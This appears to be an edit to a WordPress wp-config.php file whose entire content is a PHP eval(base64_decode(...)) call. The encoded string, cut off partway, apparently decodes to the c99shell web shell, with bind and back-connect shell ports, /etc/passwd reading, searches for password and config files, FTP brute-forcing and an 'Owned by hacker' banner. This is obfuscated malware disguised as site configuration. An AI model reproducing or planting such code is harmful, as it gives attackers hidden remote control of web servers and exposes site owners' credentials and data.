Update public_html/wp-config.php

<?
eval(base64_decode('LyoNCioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKg0KKg0KKiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjOTlzaGVsbC5waHAgdi4xLjAgcHJlLXJlbGVhc2UgYnVpbGQgIzUNCiogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZyZWV3YXJlIGxpY2Vuc2UuDQoqICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIKkgQ0NUZWFNLg0KKiAgYzk5c2hlbGwgLSD04OnrLezl7eXk5uXwIPfl8OXnIHd3dy3h8O7z5+XwLCAi5+Dy7vfl7fvpIiDk6/8g4ufr7uzgLg0KKiAgwvsg7O7m5fLlIOHl8e/r4PLt7iDx6uD34PL8IO/u8evl5O3+/iDi5fDx6P4g7eAg5O7s4Pjt5ekg8fLw4O3o9+rlIO/w7uTz6vLgOg0KICAgaHR0cDovL2NjdGVhbS5ydS9yZWxlYXNlcy9jOTlzaGVsbA0KKg0KKiAgV0VCOiBodHRwOi8vY2N0ZWFtLnJ1DQoqICBJQ1EgVUlOICM6IDY1NjU1NQ0KKg0KKiAgzvHu4eXt7e7x8ug6DQoqICArIPPv8ODi6+Xt6OUg6+7q4Ov87fvs6CDoIPPk4Ovl7e377OggKGZ0cCwgc2FtYmEgKikg9ODp6+Ds6C/v4O/q4OzoLCDx7vDy6PDu4urgDQoqICAgIOfg6uD36OLg7ejlIPHq4Pfo4uDt6OUg9ODp6+7iIOgg7+Dv7uoNCiogICAgKO/w5eTi7vDo8uXr/O3uIPPv4Oru4vvi4OXy8f8v8ODx7+Dq7uL74uDl8vH/IPfl8OXnIHRhciAqKQ0KKiAgICDv8O7k4ujt8/L76SDv7ujx6iAo4u7n7O7m5e0g4u3z8vDoIPTg6evu4ikNCiogICAgbW9kaWZ5LXRpbWUg6CBhY2Nlc3MtdGltZSDzIPTg6evu4iDt5SDs5e3//vLx/yDv8Ogg8OXk4Ory6PDu4uDt6OggKOL76usuL+Lq6y4g7+Dw4Ozl8vDu7CAkZmlsZXN0ZWFsdGgpDQoqICArIO/w7uTi6O3z8vvpIFNRTC3s5e3l5Obl8CDt5SDz8fLz7+D++ejpIHBocG15YWRtaW4sDQogICAgIO/w7vHs7vLwL/Hu5+Tg7ejlL/Dl5ODq8ujw7uLg7ejlIMHEL/Lg4evo9iwg7/Du8ezu8vAg9ODp6+7iIPfl8OXnIOHw5fj8IOIgbXlzcWwNCiogICsg8+/w4OLr5e3o5SDv8O725fHx4OzoIHVuaXgt7OD46O37Lg0KKiAgKyDz5O7h7e7lICjo7e7j5OAg4/Dg9Oj35fHq7uUpIOL77+7r7eXt6OUgc2hlbGwt6u7s4O3kICjs7e7j7iDg6+jg8e7iLCDs7ubt7iDw5eTg6vLo8O7i4PL8KQ0KKiAgKyDi++/u6+3l7ejlIO/w7ujn4u7r/O3u4+4gUEhQLeru5OANCiogICsg6u7k6PDu4vno6iDk4O3t+/Ug9+Xw5ecgbWQ1LCB1bml4LW1kNSwgc2hhMSwgY3JjMzIsIGJhc2U2NA0KKiAgKyDh+/Hy8PvpIOvu6uDr/O376SDg7eDr6Ocg4eXn7u/g8e3u8fLoIM7RDQoqICArIOH78fLw7uUgZnRwLfHq4O3o8O7i4O3o5SDt4CDx4v/n6uggbG9naW47bG9naW4g6OcgL2V0Yy9wYXNzd2QgKO7h+/ft7iDk4OXyIOTu8fLz7yDqIDEvMTAwIODq6uDz7fLu4ikNCiogICAg7+7x8vDg7ej37fvpIOL74u7kLCDx7vDy6PDu4urgLCDj8PPv7+7i++Ug7u/l8OD26Ogg7eDkIMHEL/Lg4evo9uDs6Cwg8+/w4OLr5e3o5SDv8O725fHx4OzoIFNRTCkNCiogICsg8erw6O/yICLr/uHo8iIgaW5jbHVkZTog4OLy7uzg8uj35fHq6CDo+eXyIO/l8OXs5e3t++Ug8SDk5fHq8Ojv8u7w4OzoIOgg4vHy4OLr/+XyIOj1IOIg8fH76+roICju7/bo4Ov87e4pDQogICAgIPLg6ublIOzu5u3uIOjn7OXt6PL8ICRzdXJsICjh4Ofu4uD/IPHx++vq4Ckg6uDqIPfl8OXnIOru7fTo4/Pw4Pbo/iAo7/Do7fPk6PLl6/zt7ikg8uDqIOgg9+Xw5ecgY29va2llICJjOTlzaF9zdXJsIiwNCiAgICAg6OTl8iDg4vLuLefg7+jx/CDn7eD35e3o/yAkc2V0X3N1cmwg4iBjb29raWUgInNldF9zdXJsIg0KKiAgKyDi7ufs7ubt7vHy/CAi5+Dh6O3k6PL8IiAvYmluL2Jhc2gg7eAg7u/w5eTl6+Xt7fvpIO/u8PIg8SDv8O7o5+Lu6/zt++wg7+Dw7uvl7CwNCiogICAg6OvoIPHk5evg8vwgYmFjayBjb25uZWN0ICjv8O7o5+Lu5Ojy8f8g8uXx8ujw7uLg7ejlIPHu5eTl7eXt6P8sIOgg4vvi7uT/8vH/IO/g8ODs5fLw+yDk6/8g5+Dv8/Hq4CBOZXRDYXQpLg0KKiAgKyDi7ufs7ubt7vHy/CDh+/Hy8O7j7iDx4OzuLfPk4Ovl7ej/IPHq8Ojv8uANCiogICsg4OLy7uzg8ujn6PDu4uDt4P8g7vLv8ODi6uAg8e7u4fnl7ejpIO4g7eXk7vDg4e7y6uD1IOgg7+7m5evg7ejpIODi8u7w8yAo9+Xw5ecgbWFpbCgpKQ0KDQoqICAqIC0g8/Hv5fUg7+7r7e7x8vz+IOfg4ujx6PIg7vIg6u7t9Ojj8/Dg9ujoIFBIUA0KKg0KKiAgICAgICAgwiDu4fnl7CDt8+bt7iDz4ujk5fL8IOLxuCD98u4hDQoqDQoqICAgzubo5ODl7PvlIOjn7OXt5e3o/zoNCiogIH4g0ODn4ujy6OUgc3FsLezl7eXk5uXw4A0KKiAgfiDE7uHg4uvl7ejlIO3l5O7x8uD++ej1IPDg8fjo8OXt6Okg9ODp6+7iDQoqDQoqICB+LX4gz+j46PLlIO7h7iDi8eX1IO3g6eTl7fv1IO3l5O7w4OHu8urg9Swg5uXr4OXs+/Ug6Ofs5e3l7ej/9SDoIOTu8ODh7vLq4PUgKOTg5uUg7iDx4Oz79SDt5eft4Pfo8uXr/O379SEpDQogICAgICAg4iBJQ1EgVUlOICM2NTY1NTUg6+jh7iD35fDl5yDw4Ofk5esgImZlZWRiYWNrIiwg4fPk8/Ig8ODx8ezu8vDl7fsg4vHlIO/w5eTr7ubl7ej/IOgg7+7m5evg7ej/Lg0KKg0KKiAgTGFzdCBtb2RpZnk6IDMuMDcuMjAwNQ0KKg0KKiAgqSBDYXB0YWluIENydW5jaCBTZWN1cml0eSBUZWFNLiBDb2RlZCBieSB0cmlzdHJhbQ0KKg0KKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqDQoqLw0KLy9TdGFydGluZyBjYWxscw0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImdldG1pY3JvdGltZSIpKSB7ZnVuY3Rpb24gZ2V0bWljcm90aW1lKCkge2xpc3QoJHVzZWMsICRzZWMpID0gZXhwbG9kZSgiICIsIG1pY3JvdGltZSgpKTsgcmV0dXJuICgoZmxvYXQpJHVzZWMgKyAoZmxvYXQpJHNlYyk7fX0NCmVycm9yX3JlcG9ydGluZyg1KTsNCkBpZ25vcmVfdXNlcl9hYm9ydCh0cnVlKTsNCkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7DQokd2luID0gc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLCAwLCAzKSkgPT0gIndpbiI7DQpkZWZpbmUoInN0YXJ0dGltZSIsZ2V0bWljcm90aW1lKCkpOw0KaWYgKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHtpZiAoIWZ1bmN0aW9uX2V4aXN0cygic3RyaXBzIikpIHtmdW5jdGlvbiBzdHJpcHMoJiRhcnIsJGs9IiIpIHtpZiAoaXNfYXJyYXkoJGFycikpIHtmb3JlYWNoKCRhcnIgYXMgJGs9PiR2KSB7aWYgKHN0cnRvdXBwZXIoJGspICE9ICJHTE9CQUxTIikge3N0cmlwcygkYXJyWyIkayJdKTt9fX0gZWxzZSB7JGFyciA9IHN0cmlwc2xhc2hlcygkYXJyKTt9fX0gc3RyaXBzKCRHTE9CQUxTKTt9DQokX1JFUVVFU1QgPSBhcnJheV9tZXJnZSgkX0NPT0tJRSwkX0dFVCwkX1BPU1QpOw0KZm9yZWFjaCgkX1JFUVVFU1QgYXMgJGs9PiR2KSB7aWYgKCFpc3NldCgkJGspKSB7JCRrID0gJHY7fX0NCg0KJHNodmVyID0gIjEuMCBwcmUtcmVsZWFzZSBidWlsZCAjNSI7IC8vQ3VycmVudCB2ZXJzaW9uDQovL0NPTkZJR1VSQVRJT04gQU5EIFNFVFRJTkdTDQppZiAoIWVtcHR5KCR1bnNldF9zdXJsKSkge3NldGNvb2tpZSgiYzk5c2hfc3VybCIpOyAkc3VybCA9ICIiO30NCmVsc2VpZiAoIWVtcHR5KCRzZXRfc3VybCkpIHskc3VybCA9ICRzZXRfc3VybDsgc2V0Y29va2llKCJjOTlzaF9zdXJsIiwkc3VybCk7fQ0KZWxzZSB7JHN1cmwgPSAkX1JFUVVFU1RbImM5OXNoX3N1cmwiXTsgLy9TZXQgdGhpcyBjb29raWUgZm9yIG1hbnVhbCBTVVJMDQp9DQoNCiRzdXJsX2F1dG9maWxsX2luY2x1ZGUgPSB0cnVlOyAvL0lmIHRydWUgdGhlbiBzZWFyY2ggdmFyaWFibGVzIHdpdGggZGVzY3JpcHRvcnMgKFVSTHMpIGFuZCBzYXZlIGl0IGluIFNVUkwuDQoNCmlmICgkc3VybF9hdXRvZmlsbF9pbmNsdWRlIGFuZCAhJF9SRVFVRVNUWyJjOTlzaF9zdXJsIl0pIHskaW5jbHVkZSA9ICImIjsgZm9yZWFjaCAoZXhwbG9kZSgiJiIsZ2V0ZW52KCJRVUVSWV9TVFJJTkciKSkgYXMgJHYpIHskdiA9IGV4cGxvZGUoIj0iLCR2KTsgJG5hbWUgPSB1cmxkZWNvZGUoJHZbMF0pOyAkdmFsdWUgPSB1cmxkZWNvZGUoJHZbMV0pOyBmb3JlYWNoIChhcnJheSgiaHR0cDovLyIsImh0dHBzOi8vIiwic3NsOi8vIiwiZnRwOi8vIiwiXFxcXCIpIGFzICRuZWVkbGUpIHtpZiAoc3RycG9zKCR2YWx1ZSwkbmVlZGxlKSA9PT0gMCkgeyRpbmNsdWRlc3RyIC49IHVybGVuY29kZSgkbmFtZSkuIj0iLnVybGVuY29kZSgkdmFsdWUpLiImIjt9fX0gaWYgKCRfUkVRVUVTVFsic3VybF9hdXRvZmlsbF9pbmNsdWRlIl0pIHskaW5jbHVkZXN0ciAuPSAic3VybF9hdXRvZmlsbF9pbmNsdWRlPTEmIjt9fQ0KaWYgKGVtcHR5KCRzdXJsKSkNCnsNCiAkc3VybCA9ICI/Ii4kaW5jbHVkZXN0cjsgLy9TZWxmIHVybA0KfQ0KJHN1cmwgPSBodG1sc3BlY2lhbGNoYXJzKCRzdXJsKTsNCg0KJHRpbWVsaW1pdCA9IDA7IC8vdGltZSBsaW1pdCBvZiBleGVjdXRpb24gdGhpcyBzY3JpcHQgb3ZlciBzZXJ2ZXIgcXVvdGUgKHNlY29uZHMpLCAwID0gdW5saW1pdGVkLg0KDQovL0F1dGhlbnRpY2F0aW9uDQokbG9naW4gPSAiIjsgLy9sb2dpbg0KLy9ET04nVCBGT1JHT1QgQUJPVVQgUEFTU1dPUkQhISENCiRwYXNzID0gIiI7IC8vcGFzc3dvcmQNCiRtZDVfcGFzcyA9ICIiOyAvL21kNS1jcnlwZWQgcGFzcy4gaWYgbnVsbCwgbWQ1KCRwYXNzKQ0KDQppZiAoc3RyaXN0cigkX1NFUlZFUlsiR0FURVdBWV9JTlRFUkZBQ0UiXSwiY2dpIikpIHskbG9naW4gPSAiIjt9IC8vIElmIENHSSB0aGVuIHR1cm4gb2ZmIGF1dGguDQoNCiRob3N0X2FsbG93ID0gYXJyYXkoIioiKTsgLy9hcnJheSAoInttYXNrfTEiLCJ7bWFza30yIiwuLi4pLCB7bWFza30gPSBJUCBvciBIT1NUIGUuZy4gYXJyYXkoIjE5Mi4xNjguMC4qIiwiMTI3LjAuMC4xIikNCiRsb2dpbl90eHQgPSAiUmVzdHJpY3RlZCBhcmVhIjsgLy9odHRwLWF1dGggbWVzc2FnZS4NCiRhY2Nlc3NkZW5pZWRtZXNzID0gIjxhIGhyZWY9XCJodHRwOi8vY2N0ZWFtLnJ1L3JlbGVhc2VzL2M5OXNoZWxsXCI+Yzk5c2hlbGwgdi4iLiRzaHZlci4iPC9hPjogYWNjZXNzIGRlbmllZCI7DQoNCiRnemlwZW5jb2RlID0gdHJ1ZTsgLy9FbmNvZGUgd2l0aCBnemlwPw0KDQokYXV0b3VwZGF0ZSA9IGZhbHNlOyAvL0F1dG9tYXRpYyB1cGRhdGluZz8NCg0KJHVwZGF0ZW5vdyA9IGZhbHNlOyAvL0lmIHRydWUsIHVwZGF0ZSBub3cgKHRoaXMgdmFyaWFibGUgd2lsbCBiZSBmYWxzZSkNCg0KJGM5OXNoX3VwZGF0ZXVybCA9ICJodHRwOi8vY2N0ZWFtLnJ1L3VwZGF0ZS9jOTlzaGVsbC8iOyAvL1VwZGF0ZSBzZXJ2ZXINCg0KJGZpbGVzdGVhbHRoID0gdHJ1ZTsgLy9pZiB0cnVlLCBkb24ndCBjaGFuZ2UgbW9kaWZ5JmFjY2Vzcy10aW1lDQoNCiRkb25hdGVkX2h0bWwgPSAiPGNlbnRlcj48Yj5Pd25lZCBieSBoYWNrZXI8L2I+PC9jZW50ZXI+IjsNCiAgICAgICAgICAgICAgICAvKiBJZiB5b3UgcHVibGlzaCBmcmVlIHNoZWxsIGFuZCB5b3Ugd2lzaA0KICAgICAgICAgICAgICAgIGFkZCBsaW5rIHRvIHlvdXIgc2l0ZSBvciBhbnkgb3RoZXIgaW5mb3JtYXRpb24sDQogICAgICAgICAgICAgICAgcHV0IGhlcmUgeW91ciBodG1sLiAqLw0KJGRvbmF0ZWRfYWN0ID0gYXJyYXkoIiIpOyAvL2FycmF5ICgiYWN0MSIsImFjdDIsIi4uLiksIGlmICRhY3QgaXMgaW4gdGhpcyBhcnJheSwgZGlzcGxheSAkZG9uYXRlZF9odG1sLg0KDQokY3VyZGlyID0gIi4vIjsgLy9zdGFydCBmb2xkZXINCi8vJGN1cmRpciA9IGdldGVudigiRE9DVU1FTlRfUk9PVCIpOw0KJHRtcGRpciA9ICIiOyAvL0ZvbGRlciBmb3IgdGVtcG9yeSBmaWxlcy4gSWYgZW1wdHksIGF1dG8tZmlsbCAoL3RtcCBvciAlV0lORElSL3RlbXApDQokdG1wZGlyX2xvZyA9ICIuLyI7IC8vRGlyZWN0b3J5IGxvZ3Mgb2YgbG9uZyBwcm9jZXNzZXMgKGUuZy4gYnJ1dGUsIHNjYW4uLi4pDQoNCiRsb2dfZW1haWwgPSAidXNlckBob3N0LnRsZCI7IC8vRGVmYXVsdCBlLW1haWwgZm9yIHNlbmRpbmcgbG9ncw0KDQokc29ydF9kZWZhdWx0ID0gIjBhIjsgLy9EZWZhdWx0IHNvcnRpbmcsIDAgLSBudW1iZXIgb2YgY29sb21uLCAiYSJzY2VuZGluZyBvciAiZCJlc2NlbmRpbmcNCiRzb3J0X3NhdmUgPSB0cnVlOyAvL0lmIHRydWUgdGhlbiBzYXZlIHNvcnRpbmctdHlwZS4NCg0KLy8gUmVnaXN0ZXJlZCBmaWxlLXR5cGVzLg0KLy8gIGFycmF5KA0KLy8gICAie2FjdGlvbjF9Ij0+YXJyYXkoImV4dDEiLCJleHQyIiwiZXh0MyIsLi4uKSwNCi8vICAgInthY3Rpb24yfSI9PmFycmF5KCJleHQ0IiwiZXh0NSIsImV4dDYiLC4uLiksDQovLyAgIC4uLg0KLy8gICkNCiRmdHlwZXMgID0gYXJyYXkoDQogImh0bWwiPT5hcnJheSgiaHRtbCIsImh0bSIsInNodG1sIiksDQogInR4dCI9PmFycmF5KCJ0eHQiLCJjb25mIiwiYmF0Iiwic2giLCJqcyIsImJhayIsImRvYyIsImxvZyIsInNmYyIsImNmZyIsImh0YWNjZXNzIiksDQogImV4ZSI9PmFycmF5KCJzaCIsImluc3RhbGwiLCJiYXQiLCJjbWQiKSwNCiAiaW5pIj0+YXJyYXkoImluaSIsImluZiIpLA0KICJjb2RlIj0+YXJyYXkoInBocCIsInBodG1sIiwicGhwMyIsInBocDQiLCJpbmMiLCJ0Y2wiLCJoIiwiYyIsImNwcCIsInB5IiwiY2dpIiwicGwiKSwNCiAiaW1nIj0+YXJyYXkoImdpZiIsInBuZyIsImpwZWciLCJqZmlmIiwianBnIiwianBlIiwiYm1wIiwiaWNvIiwidGlmIiwidGlmZiIsImF2aSIsIm1wZyIsIm1wZWciKSwNCiAic2RiIj0+YXJyYXkoInNkYiIpLA0KICJwaHBzZXNzIj0+YXJyYXkoInNlc3MiKSwNCiAiZG93bmxvYWQiPT5hcnJheSgiZXhlIiwiY29tIiwicGlmIiwic3JjIiwibG5rIiwiemlwIiwicmFyIiwiZ3oiLCJ0YXIiKQ0KKTsNCg0KLy8gUmVnaXN0ZXJlZCBleGVjdXRhYmxlIGZpbGUtdHlwZXMuDQovLyAgYXJyYXkoDQovLyAgIHN0cmluZyAiY29tbWFuZHtpfSI9PmFycmF5KCJleHQxIiwiZXh0MiIsImV4dDMiLC4uLiksDQovLyAgIC4uLg0KLy8gICkNCi8vICAge2NvbW1hbmR9OiAlZiUgPSBmaWxlbmFtZQ0KJGV4ZWZ0eXBlcyAgPSBhcnJheSgNCiBnZXRlbnYoIlBIUFJDIikuIiAlZiUiPT5hcnJheSgicGhwIiwicGhwMyIsInBocDQiKSwNCik7DQoNCi8qIEhpZ2hsaWdodGVkIGZpbGVzLg0KICBhcnJheSgNCiAgIGk9PmFycmF5KHtyZWdleHB9LHt0eXBlfSx7b3BlbnRhZ30se2Nsb3NldGFnfSx7YnJlYWt9KQ0KICAgLi4uDQogICkNCiAgc3RyaW5nIHtyZWdleHB9IC0gcmVndWxhciBleHAuDQogIGludCB7dHlwZX06DQogICAgICAgIDAgLSBmaWxlcyBhbmQgZm9sZGVycyAoYXMgZGVmYXVsdCksDQogICAgICAgIDEgLSBmaWxlcyBvbmx5LCAyIC0gZm9sZGVycyBvbmx5DQogIHN0cmluZyB7b3BlbnRhZ30gLSBvcGVuIGh0bWwtdGFnLCBlLmcuICI8Yj4iIChkZWZhdWx0KQ0KICBzdHJpbmcge2Nsb3NldGFnfSAtIGNsb3NlIGh0bWwtdGFnLCBlLmcuICI8L2I+IiAoZGVmYXVsdCkNCiAgYm9vbCB7YnJlYWt9IC0gaWYgdHJ1ZSBhbmQgZm91bmQgbWF0Y2ggdGhlbiBicmVhaw0KKi8NCiRyZWd4cF9oaWdobGlnaHQgID0gYXJyYXkoDQogIGFycmF5KGJhc2VuYW1lKCRfU0VSVkVSWyJQSFBfU0VMRiJdKSwxLCI8Zm9udCBjb2xvcj1cInllbGxvd1wiPiIsIjwvZm9udD4iKSwgLy8gZXhhbXBsZQ0KICBhcnJheSgiY29uZmlnLnBocCIsMSkgLy8gZXhhbXBsZQ0KKTsNCg0KJHNhZmVtb2RlX2Rpc2tldHRlcyA9IGFycmF5KCJhIik7IC8vIFRoaXMgdmFyaWFibGUgZm9yIGRpc2FibGluZyBkaXNrZXR0LWVycm9ycy4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyBhcnJheSAoaT0+e2xldHRlcn0gLi4uKTsgc3RyaW5nIHtsZXR0ZXJ9IC0gbGV0dGVyIG9mIGEgZHJpdmUNCi8vJHNhZmVtb2RlX2Rpc2tldHRlcyA9IHJhbmdlKCJhIiwieiIpOw0KJGhleGR1bXBfbGluZXMgPSA4OyAgICAgICAgLy8gbGluZXMgaW4gaGV4IHByZXZpZXcgZmlsZQ0KJGhleGR1bXBfcm93cyA9IDI0OyAgICAgICAgLy8gMTYsIDI0IG9yIDMyIGJ5dGVzIGluIG9uZSBsaW5lDQoNCiRuaXhwd2RwZXJwYWdlID0gMTAwOyAvLyBHZXQgZmlyc3QgTiBsaW5lcyBmcm9tIC9ldGMvcGFzc3dkDQoNCiRiaW5kcG9ydF9wYXNzID0gImM5OSI7ICAgICAgICAgIC8vIGRlZmF1bHQgcGFzc3dvcmQgZm9yIGJpbmRpbmcNCiRiaW5kcG9ydF9wb3J0ID0gIjMxMzczIjsgLy8gZGVmYXVsdCBwb3J0IGZvciBiaW5kaW5nDQokYmNfcG9ydCA9ICIzMTM3MyI7IC8vIGRlZmF1bHQgcG9ydCBmb3IgYmFjay1jb25uZWN0DQoNCi8vIENvbW1hbmQtYWxpYXNlcw0KaWYgKCEkd2luKQ0Kew0KICRjbWRhbGlhc2VzID0gYXJyYXkoDQogIGFycmF5KCItLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIsICJscyAtbGEiKSwNCiAgYXJyYXkoImZpbmQgYWxsIHN1aWQgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIpLA0KICBhcnJheSgiZmluZCBzdWlkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMiKSwNCiAgYXJyYXkoImZpbmQgYWxsIHNnaWQgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIpLA0KICBhcnJheSgiZmluZCBzZ2lkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiKSwNCiAgYXJyYXkoImZpbmQgY29uZmlnLmluYy5waHAgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLW5hbWUgY29uZmlnLmluYy5waHAiKSwNCiAgYXJyYXkoImZpbmQgY29uZmlnKiBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIpLA0KICBhcnJheSgiZmluZCBjb25maWcqIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiksDQogIGFycmF5KCJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyIsICJmaW5kIC8gLXBlcm0gLTIgLWxzIiksDQogIGFycmF5KCJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXBlcm0gLTIgLWxzIiksDQogIGFycmF5KCJmaW5kIGFsbCBzZXJ2aWNlLnB3ZCBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCIpLA0KICBhcnJheSgiZmluZCBzZXJ2aWNlLnB3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCIpLA0KICBhcnJheSgiZmluZCBhbGwgLmh0cGFzc3dkIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIpLA0KICBhcnJheSgiZmluZCAuaHRwYXNzd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiksDQogIGFycmF5KCJmaW5kIGFsbCAuYmFzaF9oaXN0b3J5IGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiKSwNCiAgYXJyYXkoImZpbmQgLmJhc2hfaGlzdG9yeSBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiksDQogIGFycmF5KCJmaW5kIGFsbCAuZmV0Y2htYWlscmMgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiksDQogIGFycmF5KCJmaW5kIC5mZXRjaG1haWxyYyBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiKSwNCiAgYXJyYXkoImxpc3QgZmlsZSBhdHRyaWJ1dGVzIG9uIGEgTGludXggc2Vjb25kIGV4dGVuZGVkIGZpbGUgc3lzdGVtIiwgImxzYXR0ciAtdmEiKSwNCiAgYXJyYXkoInNob3cgb3BlbmVkIHBvcnRzIiwgIm5ldHN0YXQgLWFuIHwgZ3JlcCAtaSBsaXN0ZW4iKQ0KICk7DQp9DQplbHNlDQp7DQogJGNtZGFsaWFzZXMgPSBhcnJheSgNCiAgYXJyYXkoIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIiwgImRpciIpLA0KICBhcnJheSgic2hvdyBvcGVuZWQgcG9ydHMiLCAibmV0c3RhdCAtYW4iKQ0KICk7DQp9DQoNCiRzZXNzX2Nvb2tpZSA9ICJjOTlzaHZhcnMiOyAvLyBDb29raWUtdmFyaWFibGUgbmFtZQ0KDQokdXNlZnNidWZmID0gdHJ1ZTsgLy9CdWZmZXItZnVuY3Rpb24NCiRjb3B5X3Vuc2V0ID0gZmFsc2U7IC8vUmVtb3ZlIGNvcGllZCBmaWxlcyBmcm9tIGJ1ZmZlciBhZnRlciBwYXN0aW5nDQoNCi8vUXVpY2sgbGF1bmNoDQokcXVpY2tsYXVuY2ggPSBhcnJheSgNCiBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1ob21lXCIgYWx0PVwiSG9tZVwiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCIyMFwiIGJvcmRlcj1cIjBcIj4iLCRzdXJsKSwNCiBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1iYWNrXCIgYWx0PVwiQmFja1wiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCIyMFwiIGJvcmRlcj1cIjBcIj4iLCIjXCIgb25jbGljaz1cImhpc3RvcnkuYmFjaygxKSIpLA0KIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWZvcndhcmRcIiBhbHQ9XCJGb3J3YXJkXCIgaGVpZ2h0PVwiMjBcIiB3aWR0aD1cIjIwXCIgYm9yZGVyPVwiMFwiPiIsIiNcIiBvbmNsaWNrPVwiaGlzdG9yeS5nbygxKSIpLA0KIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXVwXCIgYWx0PVwiVVBESVJcIiBoZWlnaHQ9XCIyMFwiIHdpZHRoPVwiMjBcIiBib3JkZXI9XCIwXCI+Iiwkc3VybC4iYWN0PWxzJmQ9JXVwZCZzb3J0PSVzb3J0IiksDQogYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9cmVmcmVzaFwiIGFsdD1cIlJlZnJlc2hcIiBoZWlnaHQ9XCIyMFwiIHdpZHRoPVwiMTdcIiBib3JkZXI9XCIwXCI+IiwiIiksDQogYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c2VhcmNoXCIgYWx0PVwiU2VhcmNoXCIgaGVpZ2h0PVwiMjBcIiB3aWR0aD1cIjIwXCIgYm9yZGVyPVwiMFwiPiIsJHN1cmwuImFjdD1zZWFyY2gmZD0lZCIpLA0KIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWJ1ZmZlclwiIGFsdD1cIkJ1ZmZlclwiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCIyMFwiIGJvcmRlcj1cIjBcIj4iLCRzdXJsLiJhY3Q9ZnNidWZmJmQ9JWQiKSwNCiBhcnJheSgiPGI+RW5jb2RlcjwvYj4iLCRzdXJsLiJhY3Q9ZW5jb2RlciZkPSVkIiksDQogYXJyYXkoIjxiPkJpbmQ8L2I+Iiwkc3VybC4iYWN0PWJpbmQmZD0lZCIpLA0KIGFycmF5KCI8Yj5Qcm9jLjwvYj4iLCRzdXJsLiJhY3Q9cHJvY2Vzc2VzJmQ9JWQiKSwNCiBhcnJheSgiPGI+RlRQIGJydXRlPC9iPiIsJHN1cmwuImFjdD1mdHBxdWlja2JydXRlJmQ9JWQiKSwNCiBhcnJheSgiPGI+U2VjLjwvYj4iLCRzdXJsLiJhY3Q9c2VjdXJpdHkmZD0lZCIpLA0KIGFycmF5KCI8Yj5TUUw8L2I+Iiwkc3VybC4iYWN0PXNxbCZkPSVkIiksDQogYXJyYXkoIjxiPlBIUC1jb2RlPC9iPiIsJHN1cmwuImFjdD1ldmFsJmQ9JWQiKSwNCiBhcnJheSgiPGI+VXBkYXRlPC9iPiIsJHN1cmwuImFjdD11cGRhdGUmZD0lZCIpLA0KIGFycmF5KCI8Yj5GZWVkYmFjazwvYj4iL